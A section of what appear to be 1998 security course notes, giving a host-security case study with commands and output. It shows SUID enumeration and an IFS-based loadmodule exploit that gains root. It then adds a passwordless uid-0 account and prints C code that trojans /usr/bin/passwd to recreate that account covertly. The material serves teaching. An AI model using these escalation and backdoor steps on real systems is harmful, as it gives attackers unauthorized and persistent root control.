next up previous contents
Next: 5.2 Network Security Up: 5. Case Studies Previous: 5. Case Studies

5.1 Host Security

This section shows the a case study of the concepts introduced in the previous sections. Here we will show the commands entered with brief output and an explanation of what is being done. We will not attempt DoS attacks since they are annoying to us as well, being on the same host we are on. Additionally, they give us no form of privilege. The point of this case study is to see if we can get to privileged mode, super-user. We therefore assume that we will either be able to crack the root password, or find a bug that when exploited with either a buffer overflow or a case of misconfigured software will ``give us root''.

% Try the password file to see if it's shadowed or not

siviwe@server$ head /etc/passwd

root:##root:0:1:Operator:/:/bin/csh

nobody:##nobody:65534:65534::/:

As far as the password file is concerned, this shows us that the password file is shadowed. This means that we can only see the encrypted passwords from a privileged account. We therefore cannot mount any password cracking attempts. Next on our list of things to test are SUID files.

siviwe@server$ find / -perm -4000 -user root -print | xargs ls -l

% [output trimmed]

-r-sr-xr-x  5 root        32768 May 13  1995 /usr/bin/chsh

-rwsr-xr-x  1 root        24576 Oct 14  1993 /usr/bin/crontab

-rwsr-xr-x  1 root        42353 Oct 14  1993 /usr/bin/loadmodule

The above shows three files that may be of interest. After looking on the Internet for exploits relating to the above files, one on 'loadmodule' was found. The exploit involves creating a file ``bin'' in a directory called ``bin'' in our home directory. The file ``bin'' contains:

#!/bin/sh

sh -i

We then create a script with the exploit:

siviwe@server$ cat >> blahits

chmod 755 ~/bin/bin

set IFS='/'

export IFS='/'

cd ~/bin

/usr/openwin/bin/loadmodule /sys/sun4c/OBJ/evqmod-sun4c.o /etc/openwin/modules/evqload

^D

siviwe@server$ chmod 700 blahits

siviwe@server$ ./blahits

# whoami

root

#

The exploit worked! The only problem is that we are stuck in ~siviwe/bin directory. The thing to do here is to create a root shell that we can use from outside our ``jail'' to give us root. The rootshell used is created as shown in section 3.2.6. In this case we decide to create a root account that we can use.

# adduser -u 0 -g 0 -d /home/foobar -s /usr/local/bin/bash -p "" foobar

% We now have our root account, without a password 

% We now insert a backdoor/trojan to make sure we always keep the account 

% We modify the /usr/bin/passwd program, adding the following lines in the source:

if ((pw=getpwnam("foobar")) == NULL) { // Our account was deleted

  if (!fork()) { // Child adds the user while parent changes a password

    execl("/usr/sbin/adduser", "telnetd","-u","0","-g","0","-d","/home/foobar",

           "-s","/usr/local/bin/bash","-p","", "foobar", NULL);

  }

}

We compile, link and put our modified password program in its rightful place. With this backdoor in place, we will have root access, until either the passwd program is replaced or the password for our account is modified. Whenever the account is deleted, it will be recreated everytime any user on the system runs the passwd program. Since we have legitimate access to the host ourselves, when we notice the account having disappeared, we run the passwd program.


next up previous contents
Next: 5.2 Network Security Up: 5. Case Studies Previous: 5. Case Studies
Shaun Bangay
1998-11-19